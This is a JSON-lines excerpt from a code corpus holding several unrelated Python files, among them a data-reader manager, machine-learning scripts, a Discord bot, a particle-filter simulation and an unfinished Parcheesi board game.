self.smdr.is_complete():\n self._get()\n if not self.smdr.is_complete():\n raise StopIteration\n \n self.smdr.view(batch_size=self.smd0_n_events)\n mmrv_bufs = [self.smdr.show(i) for i in range(self.n_files)]\n batch_iter = BatchIterator(mmrv_bufs, self.configs, self._run, \n batch_size = self.dsparms.batch_size, \n filter_fn = self.dsparms.filter, \n destination = self.dsparms.destination,\n timestamps = self.dsparms.timestamps)\n self.got_events = self.smdr.view_size\n self.processed_events += self.got_events\n\n return batch_iter\n \n\n def chunks(self):\n \"\"\" Generates a tuple of smd and step dgrams \"\"\"\n is_done = False\n d_view, d_read = 0, 0\n cn_chunks = 0\n while not is_done:\n logger.debug(f'SMD0 1. STARTCHUNK {time.monotonic()}')\n st_view, en_view, st_read, en_read = 0,0,0,0\n\n l1_size = 0\n tr_size = 0\n got_events = 0\n if self.smdr.is_complete():\n\n st_view = time.monotonic()\n\n #mmrv_bufs, mmrv_step_bufs = self.smdr.view(batch_size=self.smd0_n_events)\n self.smdr.view(batch_size=self.smd0_n_events)\n self.got_events = self.smdr.view_size\n got_events = self.got_events\n self.processed_events += self.got_events\n \n # sending data to prometheus\n logger.debug('got %d events'%(self.got_events))\n\n if self.dsparms.max_events and self.processed_events >= self.dsparms.max_events:\n logger.debug(f'max_events={self.dsparms.max_events} reached')\n is_done = True\n \n en_view = time.monotonic()\n d_view += en_view - st_view\n logger.debug(f'SMD0 2. DONECREATEVIEW {time.monotonic()}')\n\n if self.got_events:\n cn_chunks += 1\n yield cn_chunks\n\n else: # if self.smdr.is_complete()\n st_read = time.monotonic()\n self._get()\n en_read = time.monotonic()\n logger.debug(f'SMD0 3. DONEREAD {time.monotonic()}')\n d_read += en_read - st_read\n if not self.smdr.is_complete():\n is_done = True\n break\n\n @property\n def min_ts(self):\n return self.smdr.min_ts\n\n\n @property\n def max_ts(self):\n return self.smdr.max_ts\n\n def set_run(self, run):\n self._run = run\n\n def get_run(self):\n return self._run\n\n","sub_path":"psana/psana/psexp/smdreader_manager.py","file_name":"smdreader_manager.py","file_ext":"py","file_size_in_byte":7376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"629858966","text":"def solution(n, money):\n temp = []\n for unit in money:\n if unit <= n:\n temp.append(unit)\n money = temp\n answer = 0\n queue = []\n queue.append([n, 0])\n while len(queue):\n remain, prevunit = queue.pop(0)\n for unit in money:\n if unit >= prevunit :\n if remain-unit >= unit :\n queue.append([remain-unit, unit])\n if remain-unit == 0:\n answer+=1\n \n return answer%1000000007\n \n","sub_path":"etc/exchangecalc3.py","file_name":"exchangecalc3.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"413405336","text":"import argparse\nimport json\nimport math\nimport os\nimport sys\nimport time\nfrom collections import defaultdict\nfrom random import random\n\nimport lightgbm as lgb\nimport numpy as np\nimport optuna\nimport torch\nimport torch.nn.functional as F\nfrom scipy.stats import randint as sp_randint\nfrom scipy.stats import uniform as sp_uniform\nfrom sklearn import datasets, ensemble, linear_model, metrics, svm\nfrom tensorboardX import SummaryWriter\nfrom torch.autograd import Variable\n\nfrom feature_loader import create_cv, prepare_data\nfrom label_dict import label_dict, label_index\nfrom utils import AverageMeter\n\n\ndef method_svm(random_state):\n params = {'kernel': 'rbf', 'random_state': random_state, 'verbose': 0,\n 'probability': True, 'C': 3}\n return svm.SVC(**params), {'C': range(1, 30, 2)}\n\n\ndef method_lgbm(random_state):\n params = {'learning_rate': 0.01, 'n_jobs': 10, 'n_estimators': 3000, 'random_state': random_state, 'verbose': -1,\n 'device': 'cpu', 'subsample': 0.5, 'feature_fraction': 0.01, 'lambda_l2': 0.1, 'max_depth': 1, 'min_data_in_leaf': 20}\n\n return lgb.LGBMClassifier(**params), {\n 'learning_rate': sp_uniform(loc=0.001, scale=0.03),\n 'subsample': sp_uniform(loc=0.5, scale=0.3),\n 'max_depth': [1, 3, 7],\n 'min_data_in_leaf': [1, 3, 7, 10, 20], }\n\n\ndef objective(optuna_trial):\n opt = parse_opts()\n\n random_state = 0\n\n X_train, y_train, X_val, y_val = prepare_data(opt, random_state)\n\n print(f'# train {len(X_train)}, # val {len(X_val)}')\n\n method = None\n if opt.method == 'svm':\n method = method_svm\n elif opt.method == 'lgbm':\n method = method_lgbm\n clf, cv_params = method(random_state)\n\n use_cv = False\n if use_cv:\n clf = create_cv(X_train, y_train, clf, cv_params)\n else:\n clf.fit(X_train, y_train)\n\n print()\n for i, c in label_dict.items():\n index = np.where(y_val == i)\n val_index = index[0]\n val_size = len(val_index)\n\n train_index = np.where(y_train == i)[0]\n train_size = len(train_index)\n if val_size:\n class_y = y_val[val_index]\n class_X = X_val[val_index]\n class_val_acc = metrics.accuracy_score(\n class_y, clf.predict(class_X))\n class_val_acc = format(class_val_acc, '.2f')\n print(\n f'{i}\\t{c.ljust(10)}\\t{class_val_acc}\\t# t/v = {str(train_size).rjust(3)} / {str(val_size).rjust(3)}')\n\n predict_X_val = clf.predict(X_val)\n val_cm = metrics.confusion_matrix(y_val, predict_X_val)\n print(val_cm)\n\n import matplotlib.pyplot as plt\n plt.imshow(val_cm, cmap='binary', interpolation='None')\n val_cm_img_file_name = 'confusion_matrix.png'\n plt.savefig(val_cm_img_file_name)\n print(f'Export {val_cm_img_file_name}')\n\n import pandas as pd\n y_true = pd.Series(y_val)\n y_pred = pd.Series(predict_X_val)\n\n ct = pd.crosstab(y_true, y_pred, rownames=['True'], colnames=[\n 'Predicted'], margins=True)\n print(ct)\n\n val_acc = metrics.accuracy_score(y_val, predict_X_val)\n print(f'val_acc = {val_acc}')\n\n val_micro_recall = metrics.recall_score(\n y_val, predict_X_val, average='micro')\n print(f'val_micro_recall = {val_micro_recall}')\n\n val_macro_f1 = metrics.f1_score(y_val, predict_X_val, average='macro')\n print(f'val_macro_f1 = {val_macro_f1}')\n\n val_micro_f1 = metrics.f1_score(y_val, predict_X_val, average='micro')\n print(f'val_micro_f1 = {val_micro_f1}')\n\n predict_prob_X_val = clf.predict_proba(X_val)\n\n top_n = 3\n top_n_prob = np.argsort(predict_prob_X_val, axis=1)[:, -top_n:]\n correct_count = 0\n for y, X_vals in zip(y_val, top_n_prob):\n if label_index[y] in X_vals:\n correct_count += 1\n val_loss = metrics.log_loss(y_val, predict_prob_X_val)\n print(f'val_loss = {val_loss}')\n print(f'top_{top_n}_val_acc = {correct_count / len(y_val)}')\n return val_loss\n\n\ndef parse_opts():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n '--optuna_trials',\n default=0,\n type=int,\n help='Optuna trials')\n parser.add_argument(\n '--feature_path',\n default='/data/data_wedding/results/segment_to_feature.json',\n type=str,\n help='The path of segment_to_feature.json')\n parser.add_argument(\n '--method',\n default='',\n type=str,\n help='svm or lgbm')\n args = parser.parse_args()\n\n return args\n\n\nif __name__ == '__main__':\n opt = parse_opts()\n print('=' * 100)\n print(f'OPTUNA_TRIALS = {opt.optuna_trials}')\n print('=' * 100)\n if opt.optuna_trials:\n study = optuna.create_study()\n study.optimize(objective, n_trials=opt.optuna_trials)\n print(study.best_params)\n else:\n objective(None)\n","sub_path":"classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":4838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"34913584","text":"import numpy as np\nfrom keras.layers import Input, Dense, Dropout\nfrom keras.layers.core import Lambda\nfrom keras.models import Model, Sequential\nfrom keras.optimizers import RMSprop\nfrom matplotlib import pyplot as plt\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.metrics import confusion_matrix, accuracy_score, roc_curve, auc\n\nfrom face_siamese.SiameseFunctions import eucl_dist_output_shape, euclidean_distance, \\\n contrastive_loss\nfrom siamese_supervised import createShapeData\n\n\n# a CNN layer for intensity inputs\ndef create_base_network(input_d, hidden_layer_size):\n '''Base network to be shared (eq. to feature extraction).\n '''\n seq = Sequential()\n for i in range(len(hidden_layer_size)):\n if i == 0:\n seq.add(Dense(hidden_layer_size[i], input_shape=(input_d,), activation='relu'))\n else:\n seq.add(Dense(hidden_layer_size[i], activation='relu'))\n if i < len(hidden_layer_size)-1:\n seq.add(Dropout(0.2))\n return seq\n\n# load data\nsrc = '/home/nripesh/Dropbox/research_matlab/feature_tracking/matconvnet-1.0-beta21/cardiac_data/'\ndata_name = 'x_data_intensity_endo'\nx, y = createShapeData.get_int_paired_format_flattened(src, data_name)\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=.25)\n\n\n# because we re-use the same instance `base_network`,\n# the weights of the network\n# will be shared across the two branches\ninput_dim = x_train.shape[2]\ninput_a = Input(shape=(input_dim,))\ninput_b = Input(shape=(input_dim,))\nhidden_layer_sizes = [400, 200, 100]\nbase_network = create_base_network(input_dim, hidden_layer_sizes)\nprocessed_a = base_network(input_a)\nprocessed_b = base_network(input_b)\n\ndistance = Lambda(euclidean_distance, output_shape=eucl_dist_output_shape)([processed_a, processed_b])\n\nmodel = Model(input=[input_a, input_b], output=distance)\n\n# train\nnb_epoch = 10\nrms = RMSprop()\nmodel.compile(loss=contrastive_loss, optimizer=rms)\nmodel.fit([x_train[:, 0], x_train[:, 1]], y_train, validation_split=.25,\n batch_size=32, verbose=2, nb_epoch=nb_epoch)\n\nmodel.save('shape_match_model_int_patch_simple.h5')\n# compute final accuracy on training and test sets\npred_tr = model.predict([x_train[:, 0], x_train[:, 1]])\npred_ts = model.predict([x_test[:, 0], x_test[:, 1]])\n\n\ntpr, fpr, _ = roc_curve(y_test, pred_ts)\nroc_auc = auc(fpr, tpr)\n\nplt.figure(1)\nplt.plot(fpr, tpr, label='ROC curve (area = %0.2f)' % roc_auc)\nplt.hold(True)\nplt.plot([0, 1], [0, 1], 'k--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Receiver operating characteristic example')\nplt.legend(loc=\"lower right\")\nplt.hold(False)\nplt.savefig('roc_curve_endo.png')\n\nthresh = .5\ntr_acc = accuracy_score(y_train, (pred_tr < thresh).astype('float32'))\nte_acc = accuracy_score(y_test, (pred_ts < thresh).astype('float32'))\nprint('* Accuracy on training set: %0.2f%%' % (100 * tr_acc))\nprint('* Accuracy on test set: %0.2f%%' % (100 * te_acc))\nprint('* Mean of error less than thresh (match): %0.3f%%' % np.mean(pred_ts[pred_ts < thresh]))\nprint('* Mean of error more than thresh (no match): %0.3f%%' % np.mean(pred_ts[pred_ts >= thresh]))\nprint(\"* test case confusion matrix:\")\nprint(confusion_matrix((pred_ts < thresh).astype('float32'), y_test))\nplt.figure(2)\nplt.plot(np.concatenate([pred_ts[y_test == 1], pred_ts[y_test == 0]]))\nplt.hold(True)\nplt.plot(np.ones(pred_ts.shape)*thresh, 'r')\nplt.hold(False)\nplt.savefig('pair_errors_endo.png')","sub_path":"siamese_supervised/IntensityMatchNoConv.py","file_name":"IntensityMatchNoConv.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"418701615","text":"print(\"Bot Writen By: KAJ7#0001\")\n# Imports\nimport asyncio\nimport config\nimport discord\nimport datetime\nfrom discord.ext import commands\nimport os\nimport logging\nimport random\nimport traceback\nimport sys\nimport inspect\n\nlogging.basicConfig(level = logging.INFO, format=\"Melonpan [%(levelname)s] | %(message)s\")\n\nasync def get_prefix(bot, message):\n li = ['pan ', 'Pan ', 'PaN ', 'pAn ', 'paN ', 'PAn ', 'PaN ', 'PAn ', 'PAN ']\n return commands.when_mentioned_or(*li)(bot, message)\n\nintents = discord.Intents.default()\n#intents.members = True\n\n# Set prefix and set case insensitive to true so the a command will work if miscapitlized\nbot = commands.Bot(command_prefix = get_prefix, case_insensitive = True, intents=intents)\n\n# Remove default help command\nbot.remove_command(\"help\")\n\nclass CustomContext(commands.Context):\n async def reply_safe(self, content=None, **kwargs):\n try:\n return await self.reply(content=content, **kwargs)\n except discord.errors.HTTPException:\n return await self.send(content=content, **kwargs)\n\n@bot.event\nasync def on_message(message):\n if message.content.lower().startswith(\"pan sell all\"):\n message.content = \"pan sellall\" + message.content[12:]\n ctx = await bot.get_context(message, cls=CustomContext)\n await bot.invoke(ctx)\n\n@bot.event\nasync def on_message_edit(before, after):\n if after.content.lower().startswith(\"pan sell all\"):\n after.content = \"pan sellall\" + after.content[12:]\n ctx = await bot.get_context(after, cls=CustomContext)\n await bot.invoke(ctx)\n\n@bot.command(aliases=['settings', 'h'])\nasync def help(ctx):\n await ctx.send(embed=discord.Embed(\n title=\"Melonpan Commands\",\n color=config.MAINCOLOR\n ).add_field(\n name=\"Information\",\n value=\"`inventory`, `stats`, `bal`, `badges`\",\n inline=False\n ).add_field(\n name=\"Bakery\",\n value=\"`bakery`, `bake`, `bakeall`, `plate`, `build`, `expand`, `open`\",\n inline=False\n ).add_field(\n name=\"Market\",\n value=\"`sell`, `sellall`, `buy`, `shop`, `donate`\",\n inline=False\n ).add_field(\n name=\"Misc\",\n value=\"`help`, `info`, `invite`, `top`, `remind`, `reminders`, `blacklist`\",\n inline=False\n ).set_thumbnail(url=bot.user.avatar_url))\n\n@bot.command(aliases = ['join'])\nasync def invite(ctx):\n await ctx.send(embed=discord.Embed(description=\"[**Invite Link**](https://discord.com/api/oauth2/authorize?client_id=815835732979220501&permissions=314433&scope=bot) 🔗\", color = config.MAINCOLOR))\n\n# Cogs\ncogs = [\"Eval\", \"Information\", \"Market\", \"Bakery\", \"StatCord\", \"Leaderboards\", \"Badges\", \"Blacklist\", \"Drops\", \"LootBoxes\"]\n\n# Starts all cogs\nfor cog in cogs:\n bot.load_extension(\"Cogs.\" + cog)\n\n# Check to see if the user invoking the command is in the OWNERIDS config\ndef owner(ctx):\n return int(ctx.author.id) in config.OWNERIDS\n\n@bot.check\ndef check_for_blacklist(ctx):\n if ctx.guild is not None:\n server = config.get_server(ctx.guild.id)\n return not ctx.channel.id in server['blacklist']\n else:\n return True\n\n# Restarts and reloads all cogs\n@bot.command()\n@commands.check(owner)\nasync def restart(ctx):\n \"\"\"\n Restart the bot.\n \"\"\"\n restarting = discord.Embed(\n title = \"Restarting...\",\n color = config.MAINCOLOR\n )\n msg = await ctx.send(embed = restarting)\n for cog in cogs:\n bot.reload_extension(\"Cogs.\" + cog)\n restarting.add_field(name = f\"{cog}\", value = \"✅ Restarted!\")\n await msg.edit(embed = restarting)\n restarting.title = \"Bot Restarted\"\n await msg.edit(embed = restarting)\n logging.info(f\"Bot has been restarted succesfully in {len(bot.guilds)} server(s) with {len(bot.users)} users by {ctx.author.name}#{ctx.author.discriminator} (ID - {ctx.author.id})!\")\n await msg.delete(delay = 3)\n if ctx.guild != None:\n await ctx.message.delete(delay = 3)\n\n# Kills the bot\n@bot.command()\n@commands.check(owner)\nasync def kill(ctx):\n \"\"\"\n kill the bot.\n \"\"\"\n sys.exit(0)\n\n@bot.event\nasync def on_guild_join(guild):\n logging.info(\"JOINED guild \" + guild.name + \" | current guilds: \" + str(len(bot.guilds)))\n\n@bot.event\nasync def on_guild_remove(guild):\n logging.info(\"LEFT guild \" + guild.name + \" | current guilds: \" + str(len(bot.guilds)))\n\n# Command error\n@bot.event\nasync def on_command_error(ctx, error):\n if isinstance(error, commands.CommandNotFound):\n pass\n elif isinstance(error, commands.errors.CheckFailure):\n pass\n elif isinstance(error, commands.errors.UserInputError):\n pass\n elif isinstance(error, commands.errors.MemberNotFound):\n embed = discord.Embed(\n title = \"User not found\",\n #description = f\"An error has occured while executing this command, please join the support server and report the issue!\",\n color = config.ERRORCOLOR\n )\n await ctx.send(embed = embed)\n else:\n await ctx.send(content=\"An error has occured while executing this command, please join the support server and report the issue!\\n\\ndiscord.gg/bread\")\n raise error\n\n# On ready\n@bot.event\nasync def on_ready():\n logging.info(f\"Bot has started succesfully in {len(bot.guilds)} server(s) with {len(bot.users)} users!\")\n\n await bot.change_presence(activity = discord.Activity(type=discord.ActivityType.watching, name=\"pan help\"))\n\n\n# Starts bot\nbot.run(os.environ.get(\"MELONPAN_TOKEN\"))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"368198040","text":"import logging\nfrom scipy.stats import norm as norm_distribution\nfrom scipy.stats import multivariate_normal as xd_norm_distribution\nfrom numpy.linalg import norm as norm_distance\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport numpy as np \nfrom numpy.random import random as rand\nfrom operator import itemgetter\nimport scipy\nfrom kld_sampling import KLDResampling\nimport time\n\n\"\"\"\nSometimes landmarks arrangement gets symmetry problem \n\"\"\"\n\nmeasure = lambda landmarks, robot, sensor_std_err: norm_distance(landmarks - robot, axis=1) + (rand(len(landmarks)) * sensor_std_err)\neffective = lambda weights: sum(np.square(weights))\nuniform = lambda size: np.ones(size) / size\nmost_likely = lambda cloud: max(cloud, key=itemgetter(0))[1]\nmean = lambda weights, particles: np.average(particles, weights=weights, axis=0)\nresample_from_index = lambda particles, weights, indexes: (particles[indexes], uniform(len(indexes)))\nvariance = lambda weights,particles: np.average((particles - mean(weights,particles))**2, weights=weights, axis=0)\n\ntrack = lambda t: 0.25*t**1.5\nROOM_SIZE = 20\nlandmarks = np.array([[-1, 2], [5, 10], [12,14], [18,21]])\nsensor_std_err = 0.1\nINIT_NP = 800\nkld = KLDResampling([0.2,0.2],delta=0.2,epsilon=0.01) \n\n\ndef start_simulating():\n start_time = time.time() \n errors = []\n robot_positions = []\n num_particles = []\n robot = np.array([0.,0.])\n # KLD window\n particles = np.random.normal(loc=0, scale=5, size=[INIT_NP, 2])\n weights = uniform(INIT_NP)\n \n if __debug__:\n print('robot',robot)\n print('landmarks',landmarks)\n print(f'particlex{len(particles)} {particles[:5]}...')\n\n sns.scatterplot(x=landmarks[:,0],y=landmarks[:,1])\n plt.show()\n\n # [scalar], shape=(NL,)\n # Measure from each landmark to robot\n zs = measure(landmarks, robot, sensor_std_err)\n\n # [scalar], shape =(NP,)\n # Distance from particles to landmark\n distance = np.linalg.norm(particles[:, 0:2] - landmarks[0], axis=1)\n\n # [1d multimodal], shape=(NL,)\n # Likeihood from a landmark POV \n # Norm around particle, if z is near particle then pdf(z) high\n likeihood = norm_distribution(distance, sensor_std_err)\n\n for ITER in range(0,20):\n NP = len(particles)\n\n # Robot move\n robot = [ITER+np.random.normal(scale=0.1), track(ITER)+np.random.normal(scale=0.1)]\n\n # Transition \n v = np.random.normal(loc=1., scale=0.5, size=particles.shape)\n particles += v\n\n # likeihood on new observation\n zs = measure(landmarks, robot, sensor_std_err)\n likeihood = np.ones(NP) / NP\n for i, landmark in enumerate(landmarks):\n distance = np.linalg.norm(particles - landmark, axis=1)\n likeihood *= norm_distribution(distance, sensor_std_err).pdf(zs[i])\n \n # Bayesian\n weights *=likeihood\n weights += 1.e-300\n weights /= sum(weights) \n\n # Calculate error\n error = norm_distance(mean(weights,particles)-robot)\n num_particles.append(NP)\n\n # Log\n errors.append(error)\n robot_positions.append(robot)\n\n if __debug__:\n print('ITER',ITER)\n print('robot',robot)\n print('mean', mean(weights,particles))\n print('delta weights', max(weights)-min(weights))\n print('effective',effective(weights))\n print('variance', variance(weights,particles))\n \n if __debug__:\n sns.scatterplot(x=particles[:,0],y=particles[:,1],hue=weights)\n sns.scatterplot(x=landmarks[:,0],y=landmarks[:,1], color='blue')\n sns.scatterplot(x=[robot[0]],y=[robot[1]], color='green')\n plt.show()\n\n if effective(weights) a:\n aux_b = b\n b = a\n a = aux_b\n\n a = str(a)\n b = str(b)\n mismos = True\n #for i in range(len(str(b))):\n i = 0\n while i <= len(str(b)):\n c = a.find(str(b[i - 1]))\n if c < 0:\n mismos = False\n i += 1\n\n return mismos\n \n \nprint(mismos_digitos(1234, 12345))","sub_path":"Python_course/Modulo_3/Example_4.py","file_name":"Example_4.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"387556631","text":"import requests\nimport unittest\n\nurl = \"http://www.imooc.com\"\ndata = {\n \"username\": \"123\",\n \"password\": '345'\n}\n\n\nclass TestCase02(unittest.TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n print(\"caseクラス実行開始\")\n\n @classmethod\n def tearDownClass(cls) -> None:\n print(\"tearDownClass\")\n\n def setUp(self) -> None:\n print(\"case実行\")\n\n def tearDown(self) -> None:\n print(\"tearDown実行\")\n\n def test_01(self):\n print(\"01\")\n #res = requests.get(url=url, params=data, verify=False).json()\n data1 = {\n \"user\": \"11111\"\n }\n self.assertDictEqual(data1, data, msg=\"一致しません\")\n\n def test_02(self):\n print(\"02\")\n data1 = {\n \"username\": \"123\",\n \"password\": '345'\n }\n self.assertDictEqual(data1, data)\n\n def test_03(self):\n print(\"03\")\n flag = True\n self.assertFalse(flag, msg=\"Trueではない\")\n\n def test_04(self):\n print(\"04\")\n flag = True\n self.assertTrue(flag)\n\n def test_05(self):\n flag = \"111\"\n self.assertEqual(flag, \"111\")\n\n def test_06(self):\n flag = \"adfadda\"\n s = \"adf\"\n self.assertIn(s, flag)\n\n\nif __name__ == \"__main__\":\n suite = unittest.TestSuite()\n tests = [TestCase02(\"test_01\")]\n suite.addTest(tests)\n # suite.addTest(TestCase01(\"test_01\"))\n # suite.addTests()\n runner = unittest.TextTestRunner()\n runner.run(suite)","sub_path":"UnittestCase/test_case02.py","file_name":"test_case02.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"317102283","text":"# Copyright 2018 Vauxoo (https://www.vauxoo.com) \n# License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl).\n\nfrom odoo import fields, models\n\n\nclass Location(models.Model):\n _inherit = 'stock.location'\n\n default_location = fields.Boolean('Is the default location?',\n help=\"Check this box to allow the use \\\n of this location as the default \\\n location.\")\n","sub_path":"product_compromise/models/stock_location.py","file_name":"stock_location.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"14516012","text":"import os\r\nimport os.path\r\n\r\ndef statistics(path):\r\n document = os.listdir(path)\r\n Type = {}\r\n \r\n for i in document:\r\n if os.path.isdir(path + '\\\\' + i):\r\n Type.setdefault('文件夹',0)\r\n Type['文件夹'] += 1\r\n else:\r\n a = os.path.splitext(i)[1]\r\n Type.setdefault(a,0)\r\n Type[a] += 1\r\n return Type\r\n\r\npath = input('输入目录:')\r\nType = statistics(path)\r\n\r\nfor i in Type.keys():\r\n print ('该文件夹下共有类型为【%s】的文件%d个'%(i,Type[i]))\r\n\r\n\r\n#在开始学编程的时候,很多的method虽然知道,但是总是不会优先使用,而是尽量用自己\r\n#已知的功能去实现,这并非不好,也可以增加熟练度,不过随之而来的是,代码不够简洁\r\n#出现bug的可能增加,所以我还是应该经常使用自己学到的新功能,比如这次的dict.setdefault()\r\n#还有os.path.splitext\r\n","sub_path":"统计目录下的文件类型及个数.py","file_name":"统计目录下的文件类型及个数.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"548843607","text":"def vending_machine(snacks):\n \"\"\"Cycles through sequence of snacks.\n\n >>> vender = vending_machine(('chips', 'chocolate', 'popcorn'))\n >>> vender()\n 'chips'\n >>> vender()\n 'chocolate'\n >>> vender()\n 'popcorn'\n >>> vender()\n 'chips'\n >>> other = vending_machine(('brownie',))\n >>> other()\n 'brownie'\n >>> vender()\n 'chocolate'\n \"\"\"\n index = -1\n def select_snack():\n nonlocal index\n index = (index + 1) % len(snacks)\n if index >= 0 :\n return snacks[index]\n else:\n return \"Snacks is empty\"\n return select_snack","sub_path":"lab06/vending_machine.py","file_name":"vending_machine.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"53080608","text":"# Board.py\r\nfrom graphics import *\r\nfrom Player import *\r\nfrom random import randint\r\nfrom DieView import *\r\n\r\nclass Board:\r\n\r\n def __init__(self, win):\r\n i = Image(Point(512, 512), \"parcheesi-board.gif\")\r\n i.draw(win)\r\n self.win = win\r\n self.box_num = self.drawall(win)\r\n self.players = [Player(win, \"blue\", 150, 150), Player(win, \"yellow\", 150, 830),\r\n Player(win, \"green\", 830, 830), Player(win, \"red\", 820, 150)]\r\n self.safe_spots = [Point(0, 1), Point(0, 1), Point(0, 1), Point(0, 1), Point(0, 1), Point(0, 1),\r\n Point(0, 1), Point(0, 1), Point(0, 1), Point(0, 1), Point(0, 1), Point(0, 1)]\r\n self.end_spots = [Point(500, 500), Point(500, 550), Point(450, 525), Point(450, 525)]\r\n\r\n def cicle(self, player):\r\n # Manages the order of the players\r\n if player == 3:\r\n player = 0\r\n else:\r\n player += 1\r\n return player\r\n\r\n def turn(self, win, i, dices):\r\n count = 0\r\n for d in dices:\r\n if dices[0] + dices[1] == 5 and self.players[i].start == 4: #if both dices add up to five\r\n self.players[i].spawn()\r\n self.players[i].add_path()\r\n break\r\n\r\n elif dices[0] + dices[1] == 5:\r\n choice = self.spawnorMove() # The Player chooses to Spawn a Piece or Move a Piece\r\n if choice == 1: # Choice for Spawn\r\n self.players[i].spawn()\r\n break\r\n else:\r\n for dice in dices:\r\n movedaPiece = False\r\n while movedaPiece is False:\r\n piece_num = self.boxToPiece(i) # The player clicks a box to choose which Piece to move\r\n nextcoord = self.players[i].pieces[piece_num].nextcoords(i, dice)\r\n\r\n if self.isSafeSpot(nextcoord) and self.isOccupied(nextcoord):\r\n pass # Cant move the Piece if next coord is a safe space and is occupied:\r\n elif self.isSafeSpot(nextcoord):\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n elif self.isOccupied(nextcoord):\r\n self.eat(nextcoord)\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n else:\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n\r\n if movedaPiece is False:\r\n print(\"Piece cant be moved\")\r\n break\r\n\r\n elif dices[1] == 5 and dices[0] != 5:\r\n for dice in reversed(dices):\r\n if self.players[i].start == 4: # If all pieces are on start\r\n self.players[i].spawn()\r\n\r\n elif 0 < self.players[i].start < 4 and dice == 5: # if one or more pieces are in the Path\r\n choice = self.spawnorMove() # The Player chooses to Spawn a Piece or Move a Piece\r\n\r\n if choice == 1: # Choice for Spawn\r\n self.players[i].spawn()\r\n\r\n else: # Choice for Move\r\n movedaPiece = False # Variable to continue\r\n while movedaPiece is False:\r\n piece_num = self.boxToPiece(i) # The player clicks a box to choose which Piece to move\r\n nextcoord = self.players[i].pieces[piece_num].nextcoords(i, dice)\r\n\r\n if self.isSafeSpot(nextcoord) and self.isOccupied(nextcoord):\r\n pass # Cant move the Piece if next coord is a safe space and is occupied:\r\n elif self.isSafeSpot(nextcoord):\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n elif self.isOccupied(nextcoord):\r\n self.eat(nextcoord)\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n else:\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n\r\n if movedaPiece is False:\r\n print(\"Piece cant be moved\")\r\n\r\n else:\r\n movedaPiece = False # Variable to continue\r\n while movedaPiece is False:\r\n piece_num = self.boxToPiece(i) # The player clicks a box to choose which Piece to move\r\n nextcoord = self.players[i].pieces[piece_num].nextcoords(i, dice)\r\n\r\n if self.isSafeSpot(nextcoord) and self.isOccupied(nextcoord, i):\r\n pass # Cant move the Piece if next coord is a safe space and is occupied:\r\n elif self.isSafeSpot(nextcoord):\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n elif self.isOccupied(nextcoord, i):\r\n self.eat(nextcoord)\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n else:\r\n self.players[i].pieces[piece_num].move(dice)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n\r\n if movedaPiece is False:\r\n print(\"Piece cant be moved\")\r\n\r\n\r\n break\r\n\r\n\r\n\r\n elif d == 5: # If the dice is five(5)\r\n if self.players[i].start == 4: # If all pieces are on start\r\n self.players[i].spawn()\r\n\r\n\r\n elif 0 < self.players[i].start < 4: # if one or more pieces are in the Path\r\n\r\n choice = self.spawnorMove() # The Player chooses to Spawn a Piece or Move a Piece\r\n\r\n if choice == 1: # Choice for Spawn\r\n self.players[i].spawn()\r\n\r\n else: # Choice for Move\r\n\r\n movedaPiece = False # Variable to continue\r\n while movedaPiece is False:\r\n piece_num = self.boxToPiece(i) # The player clicks a box to choose which Piece to move\r\n nextcoord = self.players[i].pieces[piece_num].nextcoords(i, d)\r\n\r\n if self.isSafeSpot(nextcoord) and self.isOccupied(nextcoord, i):\r\n pass # Cant move the Piece if next coord is a safe space and is occupied:\r\n elif self.isSafeSpot(nextcoord):\r\n self.players[i].pieces[piece_num].move(d)\r\n self.isEndCoord(nextcoord, i)\r\n movedaPiece = True\r\n elif self.isOccupied(nextcoord, i):\r\n self.eat(nextcoord)\r\n 